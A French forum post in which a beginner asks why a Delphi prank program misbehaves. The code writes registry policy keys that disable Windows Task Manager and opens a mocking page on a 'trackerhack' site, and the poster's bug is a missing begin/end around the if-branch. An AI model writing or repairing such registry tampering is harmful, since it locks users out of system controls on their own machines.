et bin voilà
g déjà besoin d'aide ...
procedure TForm1.Button1Click(Sender: TObject);
begin
if (Edit1.Text) = 'salut' then
SetWriteString(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\System', 'DisableTaskMgr', '1');
SetWriteString(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\System', 'DisableTaskManager', '1');
shellexecute(0,'open', 'http://membres.lycos.fr/trackerhack/gros%20lamer%20!%202.htm', nil, nil, SW_SHOWMAXIMIZED);
else
Messagebox(form1.handle,'Vous avez Perdu! Retentez votre chance!','Perdu',48)
end;
end.
et voilà mo,n prblème si je met dans edit1.text "salut"
(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\System', 'DisableTaskMgr', '1');
SetWriteString(HKEY_CURRENT_USER, 'Software\Microsoft\Windows\CurrentVersion\Policies\System', 'DisableTaskManager', '1');
mais par contre
shellexecute(0,'open', 'http://membres.lycos.fr/trackerhack/gros%20lamer%20!%202.htm', nil, nil, SW_SHOWMAXIMIZED);
lui s'ouvre à chq fois c n'est pas normal car si je met autre chose que "salut" il devrait pas s'ouvrir.... jen 'arrive pas à trouver la solution.... ah la la les début siont tjrs dur dur lol
PAL